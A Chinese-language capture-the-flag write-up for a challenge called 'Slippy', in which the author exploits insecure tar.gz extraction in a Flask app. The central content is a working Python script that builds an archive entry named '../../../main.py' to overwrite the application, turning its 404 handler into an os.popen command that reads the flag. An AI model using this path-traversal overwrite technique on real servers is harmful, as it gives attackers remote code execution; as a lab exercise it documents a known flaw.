文章目录

[20 Points] Slippy Writeup Python

由 admin 发布

下载得到源码后分析了当前程序功能,该程序接受一个 tar.gz 的压缩包并且回自动解压至目录

在搜索相关 exp 之后找到这样一篇

https://ajinabraham.com/blog/exploiting-insecure-file-extraction-in-python-for-code-execution

image-20211204142453737

当文件带有 ../ 的时候回发生目录穿越

exp

import tarfile
import time
import io

name = "../../../main.py"
data = b"""
from flask import Flask, jsonify
from application.blueprints.routes import web, api

app = Flask(__name__)
app.config.from_object('application.config.Config')

app.register_blueprint(web, url_prefix='/')
app.register_blueprint(api, url_prefix='/api')
@app.errorhandler(404)
def not_found(error):
    # return jsonify({'error': 'Not Found'}), 404
    return __import__('os').popen('cat flag').read()

@app.errorhandler(403)
def forbidden(error):
    return jsonify({'error': 'Not Allowed'}), 403

@app.errorhandler(400)
def bad_request(error):
    return jsonify({'error': 'Bad Request'}), 400

"""
t_info = tarfile.TarInfo(name)
t_file = tarfile.open("t.tar.gz", mode = "w:gz")
t_info.size = len(data)
t_info.mtime = time.time()
data = io.BytesIO(data)
t_file.addfile(t_info, data)
t_file.close()

脚本运行后回生成一个压缩包文件

由于将 not_found 函数功能更改,所以访问不存在的文件会得到 flag

上传后访问

image-20211204150322808

得到flag


暂无评论

发表评论